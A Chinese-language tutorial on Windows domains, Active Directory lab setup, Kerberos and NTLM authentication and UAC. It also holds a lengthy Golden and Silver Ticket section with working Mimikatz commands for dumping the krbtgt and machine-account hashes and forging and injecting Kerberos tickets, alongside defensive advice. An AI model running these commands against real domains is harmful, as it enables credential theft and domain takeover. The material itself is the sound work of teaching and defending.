域基础知识
工作组(Work Group)
工作组是局域网中的一个概念,由许多在同一物理地点,而且被相同的局域网连接起来的用户组成的小组,也可以是遍布一个机构的,但却被同一网络连接的用户构成的逻辑小组。工作组是最常见最简单最普通的资源管理模式,就是将不同的电脑按功能分别列入不同的组中,加入工作组是为了区分用户计算机在网络中的类别,如果用户有工作组的话,在管理上会方便很多,可以共享/使用打印机和协和工作,很多小企业都是用这种方法来管理电脑,共享文件。
工作组环境中的登录验证过程:工作组网络也称为“对等式”的网络,因为网络中每台计算机的地位都是平等的,它们的资源以及管理是分散在每台计算机之上,所以工作组环境的特点就是分散管理,工作组环境中的每台计算机都有自己的“本机安全账户数据库”,称为SAM数据库。这个SAM数据库是干什么用的呢?其实就是平时我们登录电脑时,当我们输入账户和密码后,此时就会去这个SAM数据库验证,如果我们输入的账户存在SAM数据库中,同时密码也正确,SAM数据库就会通知系统让我们登录。而这个SAM数据库默认就存储在C:\WINDOWS\system32\config文件夹中。
在 计算机-属性-更改设置-更改 中可设置工作组,即加入某工作组
如图三台在同一局域网计算机开启了网络发现和文件共享,就可在网络中互相发现对方。分别的工作组为WORKGROUP和WORKGROUP1
域(Domain)
域英文叫DOMAIN——域(Domain)是Windows网络中独立运行的单位,域之间相互访问则需要建立信任关系(即Trust Relation)。信任关系是连接在域与域之间的桥梁。当一个域与其他域建立了信任关系后,2个域之间不但可以按需要相互进行管理,还可以跨网分配文件和打印机等设备资源,使不同的域之间实现网络资源的共享与管理,以及相互通信和数据传输。
域既是 Windows 网络操作系统的逻辑组织单元,也是Internet的逻辑组织单元,在 Windows 网络操作系统中,域是安全边界。域管理员只能管理域的内部,除非其他的域显式地赋予他管理权限,他才能够访问或者管理其他的域,每个域都有自己的安全策略,以及它与其他域的安全信任关系。
可以把域和工作组联系起来理解,在工作组上你一切的设置在本机上进行包括各种策略,用户登录也是登录在本机的,密码是放在本机的数据库来验证的。而如果你的计算机加入域的话,各种策略是域控制器统一设定,用户名和密码也是放到域控制器去验证,也就是说你的账号密码可以在同一域的任何一台计算机登录。登陆到域中的时候,身份验证是采用Kerberos协议在域控制器上进行的,登陆到此计算机则是通过SAM来进行NTLM验证的。
域控(域控制器 ,Domain Controller,简写为DC)
在“域”模式下,至少有一台服务器负责每一台联入网络的电脑和用户的验证工作,相当于一个单位的门卫一样,称为“域控制器(Domain Controller,简写为DC)”。 域控制器中包含了由这个域的账户、密码、属于这个域的计算机等信息构成的数据库。当电脑联入网络时,域控制器首先要鉴别这台电脑是否是属于这个域的,用户使用的登录账号是否存在、密码是否正确。如果以上信息有一样不正确,那么域控制器就会拒绝这个用户从这台电脑登录。不能登录,用户就不能访问服务器上有权限保护的资源,他只能以对等网用户的方式访问Windows共享出来的资源,这样就在一定程度上保护了网络上的资源。
域控是活动目录的存储地方,也就是说活动目录存储在域控制器内。安装了活动目录的计算机就称为域控制器,其实在你第一次安装活动目录的时候,你安装活动目录的那台计算机就成为了域控制器。一个域可以有一台或多台域控制器。最经典的做法是做一个主辅域控。
活动目录(Active Directory 简称 AD)
活动目录是微软Windows Server中,负责架构中大型网路环境的集中式目录管理服务(Directory Services)。目录服务在微软平台上从Windows Server 2000开始引入,所以我们可以理解为活动目录是目录服务在微软平台的一种实现方式。当然目录服务在非微软平台上都有相应的实现。
Windows Server 2003的域环境与工作组环境最大的不同是,域内所有的计算机共享一个集中式的目录数据库(又称为活动目录数据库),它包含着整个域内的对象(用户账户、计算机账户、打印机、共享文件等)和安全信息等等,而活动目录负责目录数据库的添加,修改,更新和删除。所以我们要在Windows Server 2003上实现域环境,其实就是要安装活动目录。活动目录为我们实现了目录服务,提供对企业网络环境的集中式管理。比如在域环境中,只需要在活动目录中创建一次Bob账户,那么就可以在任意200台电脑中的一台上登录Bob,如果要为Bob账户更改密码,只需要在活动目录中更改一次就可以了,也就是说域用户信息保存在活动目录中。
域、域树、林和组织单元
活动目录的逻辑结构包裹:域(Domain)、域树(Domain Tree)、林(Forest)和组织单元(Organization Unit)。如下图
域是一种逻辑分组,准确的说是一种环境,域是安全的最小边界。域环境能对网络中的资源集中统一的管理,要想实现域环境,你必须要计算机中安装活动目录。 域树是由一组具有连续命名空间的域组成的。如下图
其中最上层的域名为contoso.com,这个域是这棵域树的根域(root domain),此根域下面
有2个子域,分别是gsd.contoso.com和ged.contoso.com。从图中我们可以看出他们的命名空间具有连续性。例如,域gsd.contoso.com的后缀名包含着上一层父域的域名contoso.com。其实子域gsd.contoso.com和ged.contoso.com还都可以有自己的子域,图中我没有给出而已。
域树内的所有域共享一个Active Directory(活动目录),这个活动目录内的数据分散地存储在各个域内,且每一个域只存储该域内的数据,如该域内的用户账户,计算机账户等,Windows Server 2003将存储在各个域内的对象总称为Active Directory。
林(Forest)是有一棵或多棵域树组成的,每棵域树独享连续的命名空间,不同域树之间没有命名空间的连续性。林中第一棵域树的根域也整个林的根域,同时也是林的名称。
组织单元(OU)是一种容器,它里面可以包含对象(用户账户,计算机账户等),也可以包含其他的组织单元(OU)。
域环境搭建
环境
VMware虚拟机:Windows 2012 R2,Windows 7
设置静态ip
这步确实只需要对域控设置静态ip,但我选择设置所有主机为静态ip以固定网络环境。
Windows 2012 R2 172.16.151.200
Windows 7 172.16.151.201
启动虚拟机,网络和共享中心-更改适配器设置-Ethernet0(右键)-属性-Internet协议版本4(双击)
设置域控的ip如下,DNS就设置为域控ip(后面会在域控上搭建DNS服务)
同理设置win7 ip为172.16.151.201,DNS为域控(172.16.151.200)
修改主机名
这不也不是必须的,但是为了便于辨别和操作,分别设置主机名如下
Windows 2012 R2 DC
Windows 7 WIN7
控制面板-系统和安全-系统-更改设置-更改
安装域控和DNS服务
打开Windows 2012 R2的服务器管理器,点击 添加角色和功能,然后一直点下一步直到 服务器角色
选择 Active Directory 域服务 和 DNS 服务器,然后一直下一步,最后安装
提升服务器为域控
右上角的三角形符号-将此服务器提升为域控制器
添加到新林并设置根域名
输入目录还原模式密码,然后一直下一步
到这里出错是由于之前改了主机名未重启(我先重启一下)
对于 无法创建该DNS 服务器的委派 的警告可以忽略,点击安装
将主机(win7)注册到域
首先测试能否解析域名以及ping通域控,如不能则检查是否DNS设置为域控,防火墙是否禁ping
在修改主机名的地方修改所属域
输入域控服务器的登录账号密码
如果一切正常将会提示成功。然后重启
创建AD域用户
创建成功后即可在win7中用域用户账号登录到域
Windows认证
Kerberos
Kerberos认证简介
Windows认证协议有两种NTLM(NT LAN Manager)和Kerberos,前者主要应用于用于Windows NT 和 Windows 2000 Server(or Later) 工作组环境,而后者则主要应用于Windows 2000 Server(or Later) 域(Domain)环境。Kerberos较之NTLM更高效、更安全,同时认证过程也相对复杂。Kerberos这个名字来源于希腊神话,是冥界守护神兽的名字。Kerberos是一个三头怪兽,之所以用它来命名一种完全认证协议,是因为整个认证过程涉及到三方:客户端、服务端和KDC(Key Distribution Center)。在Windows域环境中,KDC的角色由DC(Domain Controller)来担当。
某个用户采用某个域帐号登录到某台主机,并远程访问处于相同域中另一台主机时,如何对访问者和被访问者进行身份验证(这是一种双向的验证)?
Kerberos实际上是一种基于票据(Ticket)的认证方式。客户端要访问服务器的资源,需要首先购买服务端认可的票据。也就是说,客户端在访问服务器之前需要预先买好票,等待服务验票之后才能入场。在这之前,客户端需要先买票,但是这张票不能直接购买,需要一张认购权证。客户端在买票之前需要预先获得一张认购权证。这张认购权证和进入服务器的入场券均有KDC发售。一张图基本揭示了Kerberos整个认证的过程
如何获得“认购权证”?
首先,我们来看看客户端如何获得“认购权证”。这里的认购权证有个专有的名称——TGT(Ticket Granting Ticket),而TGT的是KDC一个重要的服务——认证服务(KAS:Kerberos Authentication Service)。当某个用户通过输入域帐号和密码试图登录某台主机的时候,本机的Kerberos服务会向KDC的认证服务发送一个认证请求。该请求主要包括两部分内容,明文形式的用户名和经过加密的用于证明访问者身份的Authenticator
当KDC接收到请求之后,通过AD获取该用户的信息。通过获取的密码信息生成一个秘钥对Authenticator进行解密。如果解密后的内容和已知的内容一致,则证明请求着提供的密码正确,即确定了登录者的真实身份。
KAS成功认证对方的身份之后,会先生成一个用于确保该用户和KDC之间通信安全的会话秘钥——Logon Session Key,并采用该用户密码派生的秘钥进行加密。KAS接着为该用户创建“认购权证”——TGT。TGT主要包含两方面的内容:用户相关信息和Logon Session Key,而整个TGT则通过KDC自己的密钥进行加密。最终,被不同密钥加密的Logon Session Key和TGT返回给客户端。(以上的内容对应流程图中的步骤1、2)
如何通过“认购权证”购买“入场券”?
经过上面的步骤,客户端获取了购买进入同域中其他主机入场券的“认购凭证”——TGT,以及Logon Session Key,它会在本地缓存此TGT和Logon Session Key。如果现在它需要访问某台服务器的资源,它就需要凭借这张TGT向KDC购买相应的入场券。这里的入场券也有一个专有的名称——服务票据(ST:Service Ticket)。
具体来说,ST是通过KDC的另一个服务TGS(Ticket Granting Service)出售的。客户端先向TGS发送一个ST购买请求,该请求主要包含如下的内容:客户端用户名;通过Logon Session Key加密的Authenticator;TGT和访问的服务器(其实是服务)名。
TGS接收到请求之后,现通过自己的密钥解密TGT并获取Logon Session Key,然后通过Logon Session Key解密Authenticator,进而验证了对方的真实身份。
TGS存在的一个根本的目有两点:其一是避免让用户的密码客户端和KDC之间频繁传输而被窃取。其二是因为密码属于Long Term Key(我们一般不会频繁的更新自己的密码),让它作为加密密钥的安全系数肯定小于一个频繁变换得密钥(Short Term Key)。而这个Short Term Key就是Logon Session Key,它确保了客户端和KDC之间的通信安全。
TGS完成对客户端的认证之后,会生成一个用于确保客户端-服务器之间通信安全的会话秘钥——Service Session Key,该会话秘钥通过Logon Session Key进行加密。然后出售给客户端需要的入场券——ST。ST主要包含两方面的内容:客户端用户信息和Service Session Key,整个ST通过服务器密码派生的秘钥进行加密。最终两个被加密的Service Session Key和ST回复给客户端。(以上的内容对应流程图中的步骤3、4)
凭票入场
客户端接收到TGS回复后,通过缓存的Logon Session Key解密获取Service Session Key。同时它也得到了进入服务器的入场券——ST。那么它在进行服务访问的时候就可以借助这张ST凭票入场了。该Serivce Session Key和ST会被客户端缓存。
但是,服务端在接收到ST之后,如何确保它是通过TGS购买,而不是自己伪造的呢?这很好办,不要忘了ST是通过自己密码派生的秘钥进行加密的。具体的操作过程是这样的,除了ST之外,服务请求还附加一份通过Service Session Key加密的Authenticator。服务器在接收到请求之后,先通过自己密码派生的秘钥解密ST,并从中提取Service Session Key。然后通过提取出来的Service Session Key解密Authenticator,进而验证了客户端的真实身份。
实际上,到目前为止,服务端已经完成了对客户端的验证,但是,整个认证过程还没有结束。谈到认证,很多人都认为只是服务器对客户端的认证,实际上在大部分场合,我们需要的是双向验证(Mutual Authentication)——访问者和被访问者互相验证对方的身份。现在服务器已经可以确保客户端是它所声称的那么用户,客户端还没有确认它所访问的不是一个钓鱼服务呢。
为了解决客户端对服务器的验证,服务要需要将解密后的Authenticator再次用Service Session Key进行加密,并发挥给客户端。客户端再用缓存的Service Session Key进行解密,如果和之前的内容完全一样,则可以证明自己正在访问的服务器和自己拥有相同的Service Session Key,而这个会话秘钥不为外人知晓(以上的内容对应流程图中的步骤5、6)
黄金票据
黄金票据的原理和条件
黄金票据是伪造票据授予票据(TGT),也被称为认证票据。如下图所示,与域控制器没有AS-REQ或AS-REP(步骤1和2)通信。由于黄金票据是伪造的TGT,它作为TGS-REQ的一部分被发送到域控制器以获得服务票据。
Kerberos黄金票据是有效的TGT Kerberos票据,因为它是由域Kerberos帐户(KRBTGT)加密和签名的 。TGT仅用于向域控制器上的KDC服务证明用户已被其他域控制器认证。TGT被KRBTGT密码散列加密并且可以被域中的任何KDC服务解密的。
黄金票据的条件要求:
1.域名称[AD PowerShell模块:(Get-ADDomain).DNSRoot]
2.域的SID 值[AD PowerShell模块:(Get-ADDomain).DomainSID.Value]
3.域的KRBTGT账户NTLM密码哈希
4.伪造用户名
一旦攻击者拥有管理员访问域控制器的权限,就可以使用Mimikatz来提取KRBTGT帐户密码哈希值。
黄金票据局限性
黄金票据 “欺骗”了当前域的管理权限,当KRBTGT帐户密码哈希显示在作为多域AD的林一部分的子域中时存在此局限性。因为是根(root)域包含全森林管理组Enterprise Admins。由于Mimikatz通过相对标识符(RID)向票据添加了组成员资格,因此Kerberos票据中的519(企业管理)RID在其创建的域中(基于KRBTGT帐户域)被标识为本地。如果通过获取域SID和附加RID创建的域安全标识符(SID)不存在,那么Kerberos票据的持有者不会收到该级别的访问权限。换句话说,在一个多域AD森林中,如果创建的Golden Ticket域不包含Enterprise Admins组,则Golden Ticket不会向林中的其他域提供管理权限。在单个域Active Directory林中,由于Enterprise Admins组驻留在此域中,这时创建Golden Ticket不存在局限性。
如下图所示:除非在Enterprise Admins中,否则黄金票据不能跨域信任使用,。标准的黄金票据仅限于其创建的子域
绕过黄金票据局限性
在迁移方案中,从DomainA迁移到DomainB的用户将原始DomainA用户SID值添加到新的DomainB的 SID History属性中。当用户使用新帐户登录DomainB时,DomainA SID将与确定访问的DomainB用户组一起验证。这意味着可以将SID添加到SID历史记录以扩展访问。
一旦Mimikatz支持Golden Ticket(和Silver Tickets)中的SID History,事情会变得更加有趣,因为AD Forest中的任何组都可以被包含并用于授权访问。使用最新版本的Mimikatz,我们现在可以将SID历史记录添加到Forest Enterprise Admins组的Golden Ticket中。一旦单个域名的KRBTGT帐户密码哈希被获取到,通过黄金票据可伪造用户登录到整个森林中。 总而言之,一旦一个域名受到威胁。黄金门票现在可以用来微机AD森林中的任何域
**注意:**在Active Directory林中的信任之间启用SID筛选可以防止绕过黄金票据局限性。
黄金票据的特点
1.域控制器中的KDC服务不验证TGT中的用户帐户,直到TGT超过20分钟,这意味着攻击者可以使用禁用和删除的帐户,甚至是在Active Directory中不存在的虚拟帐户。
微软的MS-KILE解释:
Kerberos V5不提供对TGS请求的帐户撤销检查,只要TGT有效,即使该帐户已被删除,TGT更新和服务票据也可以发布。KILE提供了一个可以将利用时间限制在较短的时间内(20分内)。当TGT大于20分钟时,KILE KDC需要在域中检查账户。
2.由于在域控制器上由KDC服务生成的域设置了Kerberos策略,如果提供票据,则系统信任票据的有效性。这意味着,即使域策略声明Kerberos登录票据(TGT)只有10小时有效,如果票据声明有效期为10 年,那么也会信任票据的有效性期为10年。
3.该KRBTGT帐户密码从不更改*和直到KRBTGT密码被更改(两次),攻击者可以创建黄金票据。请注意,即使伪造用户更改其密码,创建用于模拟用户的Golden Ticket仍然存在。
4.它绕过了SmartCard身份验证要求,因为它绕过了DC在创建TGT之前执行的常规验证。
5.这个精心创建的TGT要求攻击者拥有Active Directory域的KRBTGT密码哈希值(通常从域控制器转储)。
6.KRBTGT NTLM哈希可用于生成一个有效的TGT(使用RC4)模拟任何用户访问Active Directory中的任何资源。
7.在主机上都可以生成和使用黄金票据(TGT),即使没有加入域也是如此。只要网络可以访问域。
8.用于从AD森林中的DC获取有效的TGS票据,并提供一个坚持在一切域访问所有的主机的好办法。
黄金票据防御
1**.**限制域管理员登录到除域控制器和少数管理服务器以外的任何其他计算机(不要让其他管理员登录到这些服务器)将所有其他权限委派给自定义管理员组。这大大降低了攻击者访问域控制器的Active Directory的ntds.dit。如果攻击者无法访问AD数据库(ntds.dit文件),则无法获取到KRBTGT帐户密码。
\2. 禁用KRBTGT帐户,并保存当前的密码以及以前的密码。KRBTGT密码哈希用于在Kerberos票据上签署PAC并对TGT(身份验证票据)进行加密。如果使用不同的密钥(密码)对证书进行签名和加密,则DC(KDC)通过检查KRBTGT以前的密码来验证。
3.建议定期更改KRBTGT密码(毕竟这是一个管理员帐户)。更改一次,然后让AD备份,并在12到24小时后再次更改它。这个过程应该对系统环境没有影响。这个过程应该是确保KRBTGT密码每年至少更改一次的标准方法。
4.一旦攻击者获得了KRBTGT帐号密码哈希的访问权限,就可以随意创建黄金票据。通过快速更改KRBTGT密码两次,使任何现有的黄金票据(以及所有活动的Kerberos票据)失效。这将使所有Kerberos票据无效,并消除攻击者使用其KRBTGT创建有效金票的能力。
使用Mimikatz伪造Kerberos黄金票据
Mimikatz命令:Kerberos:Golden用于创建“黄金票据”(伪造TGT身份验证票证)
Mimikatz命令示例:
kerberos::golden /admin:ADMIINACCOUNTNAME /domain:DOMAINFQDN /id:ACCOUNTRID /sid:DOMAINSID /krbtgt:KRBTGTPASSWORDHASH /ptt
kerberos::golden /admin:darthvader /domain:lab.adsercurity.org /id:2601 /sid: S-1-5-21-4155807533-921486164-2767329826 /krbtgt:8a2f1adcdd519a23515780021d2d178a /ptt
1、导出krbtgt的Hash
在域控上执行通过mimkatz输出:
mimikatz log “lsadump::dcsync /domain:test.local /user:krbtgt”
找到如下信息:
/domain:test.local
/sid:S-1-5-21-4155807533-921486164-2767329826
/aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f
2、生成Golden Ticket
伪造的用户设置为god,执行:
mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826
/aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f /user:god
/ticket:gold.kirbi"
生成文件gold.kirbi
3、伪造Golden Ticket获得域控权限
导入Golden Ticket,执行如下命令:
kerberos::ptt c:\test\gold.kirbi
如图,成功获得域控权限
Tips:
生成Golden Ticket不仅可以使用aes256,也可用krbtgt的NTLM hash
可以用mimikatz "lsadump::lsa /patch"导出:
Mimikatz黄金票据命令参考:
Mimikatz创建黄金的命令是“kerberos :: golden”
/domain -----完整的域名,在这个例子中:“lab.adsecurity.org”
/ sid ----域的SID,在这个例子中:“S-1-5-21-1473643419-774954089-2222329127”
/ sids — AD森林中账户/组的额外SID,凭证拥有权限进行欺骗。通常这将是根域Enterprise Admins组的“S-1-5-21-1473643419-774954089-5872329127-519”值。Ť
/ user —伪造的用户名
/ groups(可选)—用户所属的组RID(第一组是主组)。添加用户或计算机帐户RID以接收相同的访问权限。默认组:513,512,520,518,519为默认的管理员组。
/ krbtgt—域KDC服务帐户(KRBTGT)的NTLM密码哈希值。用于加密和签署TGT。
/ ticket(可选) - 提供一个路径和名称,用于保存Golden Ticket文件以便日后使用或使用/ ptt立即将黄金票据插入内存以供使用。
/ ptt - 作为/ ticket的替代品 - 使用它来立即将伪造的票据插入到内存中以供使用。
/ id(可选) - 用户RID。Mimikatz默认值是500(默认管理员帐户RID)。
/ startoffset(可选) - 票据可用时的起始偏移量(如果使用此选项,通常设置为-10或0)。Mimikatz默认值是0。
/ endin(可选) - 票据使用时间范围。Mimikatz默认值是10年(〜5,262,480分钟)。Active Directory默认Kerberos策略设置为10小时(600分钟)。
/ renewmax(可选) - 续订最长票据有效期。Mimikatz默认值是10年(〜5,262,480分钟)。Active Directory默认Kerberos策略设置为7天(10,080分钟)。
/ sids(可选) - 设置为AD林中企业管理员组(ADRootDomainSID)-519)的SID,以欺骗整个AD林(AD林中每个域中的AD管理员)的企业管理权限。
/ aes128 - AES128密钥
/ aes256 - AES256密钥
黄金票默认组:
域用户SID:S-1-5-21 -513
域管理员SID:S-1-5-21 -512
架构管理员SID:S-1-5-21 -518
企业管理员SID:S-1-5-21 -519(只有在森林根域中创建伪造票证时才有效,但为AD森林管理员权限添加使用/ sids参数)
组策略创建者所有者SID:S-1-5-21 -520
命令格式如下:
kerberos :: golden / user:ADMIINACCOUNTNAME / domain:DOMAINFQDN / id:ACCOUNTRID / sid:DOMAINSID / krbtgt:KRBTGTPASSWORDHASH / ptt
命令示例:
.\mimikatz “kerberos::golden /user:DarthVader /domain:rd.lab.adsecurity.org /id:500 /sid:S-1-5-21-135380161-102191138-581311202 /krbtgt:13026055d01f235d67634e109da03321 /ptt” exit
白银票据
白银票据(Silver Tickets)定义
白银票据(Silver Tickets)是伪造Kerberos票证授予服务(TGS)的票也称为服务票据。如下图所示,与域控制器没有AS-REQ 和 AS-REP(步骤1和2),也没有TGS-REQ / TGS-REP(步骤3和4)通信。由于银票是伪造的TGS,所以没有与域控制器通信。
白银票据的特点
1.白银票据是一个有效的票据授予服务(TGS)Kerberos票据,因为Kerberos验证服务运行的每台服务器都对服务主体名称的服务帐户进行加密和签名。
2.黄金票据是伪造TGT并且有效的获得任何Kerberos服务,而白银票据是伪造TGS。这意味着白银票据仅限于特定服务器上的任何服务。
3.大多数服务不验证PAC(通过将PAC校验和发送到域控制器进行PAC验证),因此使用服务帐户密码哈希生成的有效TGS可以完全伪造PAC
4.攻击者需要服务帐户密码哈希值
5.TGS是伪造的,所以没有和TGT通信,意味着DC从验证过。
6.任何事件日志都在目标服务器上。
创建白银票据
为了创建或伪造白银票据,攻击者必须获得目标服务账号的密码hash值。如果目标服务正在使用中的帐户(如MS SQL)下运行,则需要服务帐户密码哈希以创建银票。使用Kerberoast(https://github.com/nidem/kerberoast)破解服务帐户密码是识别目标服务相关密码数据的一种有效防范。计算机主机服务也是最常见的服务,它是利用Windows文件共享的“cifs”服务。由于计算机本身托管此服务,因此创建白银票据所需的密码数据是关联的计算机帐户的密码哈希值。当计算机加入Active Directory时,会创建一个新的计算机帐户对象并将其添加到计算机中。密码和相关的散列哈希存储在拥有该帐户的计算机上,并且将NTLM密码散列存储在域的域控制器上的Active Directory数据库中。如果攻击者可以获得对计算机的管理权限或者能够以本地系统的身份运行代码,则攻击者可以使用Mimikatz从系统中转储AD计算机帐户密码哈希(NTLM密码哈希用于加密RC4 Kerberos门票):
Mimikatz “privilege::debug” “sekurlsa::logonpasswords” exit #需要管理员权限
Mimikatz白银票据票命令
/domain –完整的域名称,如:lab.adsecurity.org
/sid –域的SID,如:S-1-5-21-1473643419-774954089-2222329127
/user – 域用户名
/ groups(可选) - 用户所属的组RID
/ ticket(可选) - 提供一个路径和名称,用于保存Golden Ticket文件以便日后使用,或者使用/ ptt立即将黄金票据插入到内存中以供使用
/ptt - 作为/ ticket的替代品,使用它来立即将伪造的票据插入到内存中以供使用。
/ id(可选) - 用户RID,Mimikatz默认值是500(默认管理员帐户RID)
/ startoffset(可选) - 票证可用时的起始偏移(如果使用此选项,通常设置为-10或0)Mimikatz默认值是0
/ endin(可选) - 票据有效时间,Mimikatz默认值是10年,Active Directory默认Kerberos策略设置为10小时
/ renewmax(可选) - 续订最长票据有效时间,Mimikatz默认值是10年,Active Directory默认Kerberos策略设置为最长为7天
1.白银票据需要的参数
/target –目标服务器的FQDN
FQDN:(Fully Qualified Domain Name)全限定域名:同时带有主机名和域名的名称。(通过符号“.”)
/service –运行在目标服务器上的kerberos服务,该服务主体名称类型如cifs,http,mssql等
/rc4 –服务的NTLM散列(计算机帐户或用户帐户)
2.白银票据默认组
域用户SID:S-1-5-21 -513
域管理员SID:S-1-5-21 -512
架构管理员SID:S-1-5-21 -518
企业管理员SID:S-1-5-21 -519
组策略创建所有者SID:S-1-5-21 -520
3. Mimikatz命令创建白银票据
以下Mimikatz命令会在服务器adsmswin2k8r2.lab.adsecurity.org上为CIFS服务创建白银票据。为了成功创建Silver Ticket,需要从AD域转储中或在本地系统上运行Mimikatz来获获取adsmswin2k8r2.lab.adsecurity.org中AD计算机帐户密码哈希值。NTLM密码哈希与 rc4参数一起使用。服务SPN类型也需要在/ service参数中标识。目标计算机的FQDA需要在/ target参数中使用以及/ sid参数中的域SID。命令如下:
mimikatz “kerberos::golden /user:LukeSkywalker /id:1106 /domain:lab.adsecurity.org /sid:S-1-5-21-1473643419-774954089-2222329127 /target:adsmswin2k8r2.lab.adsecurity.org /rc4:d7e2b80507ea074ad59f152a1ba20458 /service:cifs /ptt” exit
白银票据在各种服务中的实例
1.白银票据的服务列表
Service Type | Service Silver Tickets |
---|---|
WMI | HOST RPCSS |
PowerShell Remoting | HOST HTTP |
WinRM | HOST HTTP |
Scheduled Tasks | HOST |
Windows File Share (CIFS) | CIFS |
LDAP operations includingMimikatz DCSync | LDAP |
Windows Remote Server Administration Tools | RPCSS LDAP CIF |
2.Windows共享(CIFS)管理访问的银票
为“ cifs ”服务创建白银票据,以获得目标计算机上任何Windows共享的管理权限。
注入CIFS Silver Ticket后,我们现在可以访问目标计算机上的任何共享,包括
c $共享,我们能够将文件拷贝到共享文件中。
3.具有管理员权限的Windows计算机(HOST)白银票据
创建银票以获得目标计算机上所涵盖的任何Windows服务的管理员权限。这包括修改和创建计划任务的权限。
利用HOST Silver Ticket,我们可以创建一个新的计划任务。
或者通过利用HOST Silver Ticket,我们可以修改存在的计划任务。
4.Silver Ticket连接到以Windows管理员权限计算机上的PowerShell远程执行
为“ http ”服务和“ wsman ”服务创建Silver Ticket,以获得目标系统上的WinRM和或PowerShell Remoting的管理权限。
注入两张HTTP&WSMAN白银票据后,我们可以使用PowerShell远程(或WinRM的)反弹出目标系统shell。首先New-PSSession使用PowerShell创建到远程系统的会话的PowerShell cmdlet,然后Enter-PSSession打开远程shell。
5.白银票据证连接到具有管理员权限Windows计算机上的LDAP
为“ ldap ”服务创建Silver Ticket 以获得目标系统(包括Active Directory)上LDAP服务的管理权限。
利用LDAP Silver Ticket,我们可以远程访问LDAP服务来获得krbtgt的信息
注:lsadump::dcsync
向 DC 发起一个同步对象(可获取帐户的密码信息)的质询。需要的权限包括管理员组(Administrators),域管理员组( Domain Admins)或企业管理员组(Enterprise Admins)以及域控制器的计算机帐户,只读域控制器默认不允许读取用户密码数据。
6.白银票据证连接到具有管理员权限Windows计算机上的WMI
为“ HOST ”服务和“ rpcss ”服务创建白银票据,以使用WMI在目标系统上远程执行命令。
注入这些白银票据之后,我们可以通过运行“klist”来确认Kerberos TGS票据在内存中注入白银票据后,我们可以通过“传票”来调用WMIC或Invoke-WmiMethod在目标系统上运行命令。
Invoke-WmiMethod win32_process -ComputerName $ Computer -Credential $ Creds -name create -argumentlist“$ RunCommand”
7.访问域控上“cifs”服务实列
首先需要获得如下信息:
/domain
/sid
/target:目标服务器的域名全称,此处为域控的全称
/service:目标服务器上面的kerberos服务,此处为cifs
/rc4:计算机账户的NTLM hash,域控主机的计算机账户
/user:要伪造的用户名,此处可用silver测试
在域控上执行如下命令来获取域控主机的本地管理员账户hash
mimikatz log “sekurlsa::logonpasswords”
如图:
注:
此处要找到计算机账户,也就是Username : WIN-8VVLRPIAJB0$的NTLM hash,如果是其他账户,那么会失败,也就是需要共享服务账号。
整理以上获得的信息如下:
/domain:test.local
/sid:S-1-5-21-4155807533-921486164-2767329826
/target:WIN-8VVLRPIAJB0.test.local
/service:cifs
/rc4:d5304f9ea69523479560ca4ebb5a2155
/user:silver
使用mimikatz执行如下命令导入Silver Ticket
mimikatz “kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826 /target:WIN-8VVLRPIAJB0.test.local /service:cifs /rc4:d5304f9ea69523479560ca4ebb5a2155 /user:silver /ptt”
如图,成功导入,此时可以成功访问域控上的文件共享
NTLM
在允许的环境下,Kerberos是首选的认证方式。在这之前,Windows主要采用另一种认证协议——NTLM(NT Lan Manager)。NTLM使用在Windows NT和Windows 2000 Server(or later)工作组环境中(Kerberos用在域模式下)。在AD域环境中,如果需要认证Windows NT系统,也必须采用NTLM。较之Kerberos,基于NTLM的认证过程要简单很多。NTLM采用一种质询/应答(Challenge/Response)消息交换模式。
步骤一
用户通过输入Windows帐号和密码登录客户端主机。在登录之前,客户端会缓存输入密码的哈希值,原始密码会被丢弃(“原始密码在任何情况下都不能被缓存”,这是一条基本的安全准则)。成功登录客户端Windows的用户如果试图访问服务器资源,需要向对方发送一个请求。该请求中包含一个以明文表示的用户名。
步骤二
服务器接收到请求后,生成一个16位的随机数。这个随机数被称为Challenge或者Nonce。服务器在将该Challenge发送给客户端之前,该Challenge会先被保存起来。Challenge是以明文的形式发送的。
步骤三
客户端在接收到服务器发回的Challenge后,用在步骤一中保存的密码哈希值对其加密,然后再将加密后的Challenge发送给服务器。
步骤四
服务器接收到客户端发送回来的加密后的Challenge后,会向DC(Domain)发送针对客户端的验证请求。该请求主要包含以下三方面的内容:客户端用户名;客户端密码哈希值加密的Challenge和原始的Challenge。
步骤五六
DC根据用户名获取该帐号的密码哈希值,对原始的Challenge进行加密。如果加密后的Challenge和服务器发送的一致,则意味着用户拥有正确的密码,验证通过,否则验证失败。DC将验证结果发给服务器,并最终反馈给客户端。
用户帐户控制(User Account Control ,简称 UAC)
概念
用户帐户控制 (User Account Control) 是Windows Vista(及更高版本操作系统)中一组新 的基础结构技术,可以帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统,同时也可以帮助组织部署更易于管理的平台。
使用 UAC,应用程序和任务总是在非管理员帐户的安全上下文中运行,但管理员专门给系统授予管理员级别的访问权限时除外。UAC 会阻止未经授权应用程序的自动安装,防止无意中对系统设置进行更改。
用户帐户控制(UAC)是新版Windows 的核心安全功能,也是其最常被人误解的众多安全功能当中的一种。
原理
在新版 Windows 中,有两个级别的用户:标准用户和管理员。标准用户是计算机 Users 组的成员;管理员是计算机 Administrators 组的成员。
与以前版本的 Windows 不同,默认情况下标准用户和管理员都会在标准用户安全上下文中访问资源和运行应用程序。任何用户登录到计算机后,系统为该用户创建一个访问令牌。该访问令牌包含有关授予给该用户的访问权限级别的信息,其中包括特定的安全标识符(SID) 信息和 Windows 权限。当管理员登录到计算机时,该版本的 Windows 为该用户创建两个单独的访问令牌:标准用户访问令牌和管理员访问令牌。标准用户访问令牌包含的用户特定信息与管理员访问令牌包含的信息相同,但是已经删除管理 Windows 权限和 SID。标准用户访问令牌用于启动不执行管理任务的应用程序(“标准用户应用程序”)。
当管理员需要运行执行管理任务的应用程序(“管理员应用程序”)时,该版本的 Windows 提示用户将他们的安全上下文从标准用户更改或“提升”为管理员。该默认管理员用户体验称为“管理审核模式”。在该模式下,应用程序需要特定的权限才能以管理员应用程序(具有与管理员相同访问权限的应用程序)运行。
